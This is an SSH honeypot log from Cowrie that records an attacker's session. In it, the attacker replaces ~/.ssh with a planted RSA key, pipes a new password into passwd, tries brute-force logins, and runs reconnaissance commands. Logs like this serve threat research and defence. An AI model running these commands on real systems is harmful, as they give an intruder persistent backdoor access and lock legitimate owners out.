{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.158292Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.419481Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.423271Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33188,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a8f0e75751","protocol":"ssh","message":"New connection: 168.167.228.74:33188 (10.17.0.5:22) [session: 73a8f0e75751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.669121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.674040Z","src_ip":"168.167.228.74","session":"73a8f0e75751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.930514Z","src_ip":"168.167.228.74","session":"73a8f0e75751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:27.998583Z","src_ip":"168.167.228.74","session":"73a8f0e75751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:29.258935Z","src_ip":"168.167.228.74","session":"73a8f0e75751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33189,"dst_ip":"10.17.0.5","dst_port":22,"session":"364d96a9510c","protocol":"ssh","message":"New connection: 168.167.228.74:33189 (10.17.0.5:22) [session: 364d96a9510c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:29.521083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:29.525480Z","src_ip":"168.167.228.74","session":"364d96a9510c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:29.789609Z","src_ip":"168.167.228.74","session":"364d96a9510c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:30.879833Z","src_ip":"168.167.228.74","session":"364d96a9510c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:32.148192Z","src_ip":"168.167.228.74","session":"364d96a9510c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:32.453669Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:32.457319Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:32.717507Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:33.266034Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123\\n2iR4uqiOYCBH\\n2iR4uqiOYCBH\"|passwd|bash","message":"CMD: echo -e \"Admin123\\n2iR4uqiOYCBH\\n2iR4uqiOYCBH\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:33.269211Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:33.271967Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:33.274548Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b445c05149637464aa70995da9ffd77663d7eee0985a8e5338f726cb4c00f877","size":32,"shasum":"b445c05149637464aa70995da9ffd77663d7eee0985a8e5338f726cb4c00f877","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/b445c05149637464aa70995da9ffd77663d7eee0985a8e5338f726cb4c00f877 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:33.535325Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:34.090427Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123\\n2iR4uqiOYCBH\\n2iR4uqiOYCBH\\n\"|passwd","message":"CMD: echo \"Admin123\\n2iR4uqiOYCBH\\n2iR4uqiOYCBH\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:34.093857Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5d10727f3fb9b81b9513776031af4ef7e1f7fe239c2678db0b3e4a2188a87a58","size":25,"shasum":"5d10727f3fb9b81b9513776031af4ef7e1f7fe239c2678db0b3e4a2188a87a58","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5d10727f3fb9b81b9513776031af4ef7e1f7fe239c2678db0b3e4a2188a87a58 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:34.353831Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:34.948816Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:34.951995Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:35.212074Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:35.767138Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:35.770507Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:36.030435Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:36.577050Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:36.579466Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:36.582468Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:36.841288Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:37.396134Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:37.399342Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:37.658133Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:38.224610Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:38.228392Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:38.489030Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:39.053523Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:39.057063Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:39.316511Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:39.874290Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:39.878053Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:40.139276Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:40.713550Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:40.716958Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:40.978029Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:41.528380Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:41.531585Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:41.791212Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:42.352622Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:42.356791Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:42.617319Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:43.165510Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:43.168723Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
